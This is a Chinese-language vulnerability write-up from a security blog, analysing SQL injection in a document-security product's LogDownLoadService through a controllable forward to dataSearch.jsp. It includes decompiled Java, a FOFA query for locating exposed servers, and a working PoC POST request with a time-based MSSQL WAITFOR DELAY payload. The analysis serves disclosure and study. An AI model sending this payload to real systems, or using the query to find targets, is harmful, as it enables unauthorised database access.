某通-LogDownLoadService-mssql-sql注入漏洞分析

某通-LogDownLoadService-mssql-sql注入漏洞分析

某通-LogDownLoadService-mssql-sql注入漏洞分析

一、漏洞简介

某通电子文档安全管理系统是一款综合性的数据智能安全产品,涵盖了透明加密、数据分类分级、访问控制等多项核心技术。该系统保护范围广泛,包括终端电脑、智能终端以及各类应用系统,能有效防止数据泄露,满足数据安全合规要求。在LogDownLoadService中因为重定向的参数可控导致了sql注入的形成

二、影响版本

version<V5.6.3.152.179_116511

三、漏洞分析原理

首先进入WEB-INFweb.xml中,ctrl+f搜索LogDownLoadService

image-20240818094146467

ctrl点击进入该类中,发现该类继承了HttpServlet,那么我们就找其与前端交互的方法service()

image-20240818094400082

分析:

对service方法进行分析,首先是接收请求中的command参数;判断command是否为空,若不为空判断command值为downLoadLogFiles还是为delLogTask,根据command的值的不同调用不同的方法

首先分析delLogTask方法,这是一个删除日志任务的方法

image-20240818094915055

分析

    protected void delLogTask(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {  
        request.setCharacterEncoding("GBK");//对请求的内容进行gbk编码  
        response.setContentType("text/html; charset=GBK");//设置MIME类型  
        ReadProperties rp \= I18nUtil.getReadProperties(request.getSession());//获取session并且赋值给一个 ReadProperties对象  
        PrintWriter printWriter \= response.getWriter();//向HTTP响应的正文中写入文本。  
        String logTaskId \= request.getParameter("logTaskId");//从请求中获取logTaskId参数  
        if (logTaskId \== null) {//判断参数是否为空  
            logTaskId \= "";  
        }  
​  
        LogTaskDao logTaskDao \= new LogTaskDao();//创建一个LogTaskDao对象  
        LogTaskInfo logTaskInfo \= logTaskDao.findLogTaskById(logTaskId);//使用findLogTaskById方法查看logTaskId是否存在  
        if (logTaskInfo != null) {//如果logTaskInfo不为空就创建一个File对象  
            File file \= new File(LogTaskUtil.getLogFile(logTaskInfo.getLogFileName()));  
            if (file.exists()) {//判断文件是否存在  
                LogTaskUtil.delFile(file);//删除文件  
            }  
        }  
​  
        logTaskDao.delLogTask(logTaskId);  
        printWriter.append(rp.getString("log.service.delete.success"));//向响应中写入内容  
    }  
}

接着分析downLogFile方法

image-20240818110726759

分析:

    protected void downLoadLogFiles(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {  
        //依次接收请求中的currPage、fromurl、logFileName参数  
        String currPage \= request.getParameter("currPage");  
        String fromurl \= request.getParameter("fromurl");  
        String logFileName \= request.getParameter("logFileName");  
        //接收session赋值给ReadProperties对象  
        ReadProperties rp \= I18nUtil.getReadProperties(request.getSession());  
        //对logFilename的取值进行判断  
        if (logFileName \== null) {  
            logFileName \= "";  
        } else {  
            logFileName \= new String(logFileName.getBytes("ISO\_8859\_1"), "GBK");//,将logFileName字符串按照ISO-8859-1(Latin-1)编码转换成字节序列,再将其转换为GBK编码的字符串  
        }  
​  
        String fileName \= LogTaskUtil.getLogFile(logFileName);  
        String logName \= LogTaskUtil.getLogFileName(logFileName);  
        if (fileName.indexOf("../") <= 0 && fileName.indexOf("..") <= 0) {  
           //若fileName中不存在../或者..那么进行如下内容  
            //依次通过正则对configfilepath、newfilepath进行赋值  
            String configfilepath \= Constant.instance.LOGMANAGERPATH.replace("/", "").replace("\\\\", "");  
            String newfilepath \= fileName.replace("/", "").replace("\\\\", "");  
            if (fileName != null && newfilepath.indexOf(configfilepath) \>= 0 && fileName.indexOf("%") <= 0 && fileName.indexOf("CDocGuard Server") <= 0 && fileName.indexOf("CDocGuard%20Server") <= 0) {  
                File file \= new File(fileName);  
                boolean fileexists \= file.exists();//将file是否存在的返回值赋值给fileexists  
                long flagftp \= 2L;  
                String ftpNameString \= fileName.indexOf(":") != \-1 ? fileName.substring(4) : fileName;//若filename不存在:.那么就截取其下标为4一直到最后的字符串,反之就将整个字符串赋值给ftpNameString  
                if (!fileexists) {  
                    flagftp \= service.downloadCheck(ftpNameString);//如果文件不存在,通过FTP下载文件  
                }  
​  
                if (fileexists) {  
                    LogTaskUtil.downFile(fileName, request, response, logName);//如果文件存在,则直接调用LogTaskUtil.downFile()方法下载文件。  
                } else if (flagftp \== 0L) {/  
                    FTPClient ftpClient \= null;  
                    InputStream in \= null;  
                    OutputStream out \= response.getOutputStream();  
​  
                    try {  
                        String ftpIp \= FtpProxy.ADDRESS.split("\\\\|")\[0\];  
                        ftpClient \= FTPUtil.getFTPClient(ftpIp, FtpProxy.USERNAME, FtpProxy.PASSWORD);//方法获取FTP客户端连接。  
                        ftpClient.enterLocalPassiveMode();  
                        ftpClient.setFileType(2);//设置传输类型为二进制  
                        ftpClient.setRemoteVerificationEnabled(false);  
                        in \= ftpClient.retrieveFileStream(new String(ftpNameString.getBytes(this.encoding), "ISO8859-1"));//获取FTP文件的输入流  
                        String userAgent \= request.getHeader("User-Agent");//  
                        FileOper.downFile(logName, in, userAgent, response);//将内容输入到对象response中  
                    } catch (Exception var29) {  
                        Exception e \= var29;  
                        e.printStackTrace();  
                    } finally {  
                        if (ftpClient != null && ftpClient.isConnected()) {  
                            try {  
                                ftpClient.disconnect();  
                            } catch (IOException var28) {  
                            }  
                        }  
​  
                        if (in != null) {  
                            in.close();  
                        }  
​  
                    }  
                } else {  
                    //如果文件未找到  
                    request.setAttribute("fileNotFindMessage", rp.getString("log.manager.failmessage"));//设置错误信息  
                    request.getRequestDispatcher("/logManagement/" + fromurl + "?curpage=" + currPage).forward(request, response);//跳转到指定的url页面中,其中这个fromurl参数是我们可以控制的  
                }  
​  
            }  
        }  
    }

这段代码在实现日志文件下载功能方面,涵盖了从本地和FTP服务器获取日志文件的逻辑。我们发现当指定的logFileName也就是后面的filename没有找到的时候就会进入到else语句中,进而导致重定向,并且重定向的参数是我们可以控制的

CDGServer3/user/dataSearch.jsp中发现了有我们可以利用的点

image-20240818113847110

分析:

    String pId \= request.getParameter("id");//获取请求的id值  
    ////依次创建了OrganiseStructModel对象、List列表、StringBuilder对象、OrganiseStructDao对象  
    OrganiseStructModel orgModel \= new OrganiseStructModel();  
    List<String\> stringList \= new ArrayList<String\>();  
    StringBuilder sb \= new StringBuilder("\[");  
    OrganiseStructDao osd \= new OrganiseStructDao();  

    OrganiseStructInfo info \= orgModel.findById(pId);//调用findById查询pid的值将其赋值给OrganiseStructInfo对象  

    int count;  
    String icon\="";  
        count \= osd.getChd(info.getOrganiseId());//获取查询结果的数目  
        boolean isLdap \= false;  
        //判断是否是LDAP数组  
        if(info.getField01()!=null&&info.getField05().toLowerCase().contains("ldap")){  
            isLdap \= true;  
        }  
        //如何pId为0,那么就设置图表  
        if("0".equals(pId)){  
            info.setOrganiseName(rp.getString(info.getOrganiseName()));  
            icon\="../tree/img/globe2.gif";  
        }else{  
            icon\="../tree/img/folder.png";  
        }  
        //将从数据库中查询到的内容拼接到JSON字符串中  
        if(isLdap){  
            if(count\==0){  
                sb.append("{id:\\""+info.getOrganiseId()+"\\",pid:\\""+info.getParentId()+"\\",name:\\""+info.getOrganiseName()+"("+rp.getString("zzry.yz")+")"+"\\",sort:\\""+info.getField01()+"\\",flag:\\""+info.getField03()+"\\",isLdap:\\""+isLdap+"\\",icon:\\""+icon+"\\",isParent:false,isEpd:false},");  
            }else{  
                sb.append("{id:\\""+info.getOrganiseId()+"\\",pid:\\""+info.getParentId()+"\\",name:\\""+info.getOrganiseName()+"("+rp.getString("zzry.yz")+")"+"\\",sort:\\""+info.getField01()+"\\",flag:\\""+info.getField03()+"\\",isLdap:\\""+isLdap+"\\",icon:\\""+icon+"\\",isParent:true,isEpd:false},");  
            }  
        }else{  
            if(count\==0){  
                sb.append("{id:\\""+info.getOrganiseId()+"\\",pid:\\""+info.getParentId()+"\\",name:\\""+info.getOrganiseName()+"\\",sort:\\""+info.getField01()+"\\",flag:\\""+info.getField03()+"\\",isLdap:\\""+isLdap+"\\",icon:\\""+icon+"\\",isParent:false,isEpd:false},");  
            }else{  
                sb.append("{id:\\""+info.getOrganiseId()+"\\",pid:\\""+info.getParentId()+"\\",name:\\""+info.getOrganiseName()+"\\",sort:\\""+info.getField01()+"\\",flag:\\""+info.getField03()+"\\",isLdap:\\""+isLdap+"\\",icon:\\""+icon+"\\",isParent:true,isEpd:false},");  
            }  
        }  
​  
    String tmp \= sb.toString();//将sb的内容赋值给tmp  
    tmp \= tmp.endsWith(",")?tmp.substring(0,tmp.length()\-1):tmp;//如果拼接的JSON字符串最后一个字符是逗号,将其移除。  
    tmp+="\]";  

    out.println(tmp);   //输出最终结果

该代码就是在数据库中查询id值并将结果输出,那么我们就进入到orgModel.findById方法中查看是否有过滤

image-20240818115658020

分析:

在该方法中创建了一个OrganiseStructInfo 对象,并且调用了 organiseStructDao下的findById方法。

我们ctrl进入该方法

image-20240818115845817

分析:

该方法直接将传过来的参数进行了sql语句的拼接,直接调用getCommonResult方法执行sql语句没有任何过滤,并将结果返回,这就造成了sql注入

那么我们就就可以通过重定向跳转到该页面进行sql注入

四、资产测绘

fofa

app="亿赛通-电子文档安全管理系统"

image-20240818124920360

五、漏洞复现

poc

POST /CDGServer3/logManagement/LogDownLoadService HTTP/1.1  
Host:   
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36  
Content-Type: application/x-www-form-urlencoded  
​  
command=downLoadLogFiles&currPage=1&fromurl=../user/dataSearch.jsp&logFileName=indsex.txt&id=-1';WAITFOR DELAY '0:0:6'-- 

ce14e219173a23360dc1124d96861cd

六、总结

该漏洞的形成的原因就是因为在LogDownLoadService中,当请求中的logFileName满足某一标准后可以进行url的重定向,并且重定向的参数是我们可以控制的,并且我们利用重定向跳转的页面中存在sql语句的执行并且参数可以控制没有任何过滤从而造成了漏洞形成

  • 发表于 2024-08-29 11:00:00
  • 阅读 ( 7174 )
  • 分类:OA产品

0 条评论

请先 登录 后评论
xiao1star
xiao1star

3 篇文章

站长统计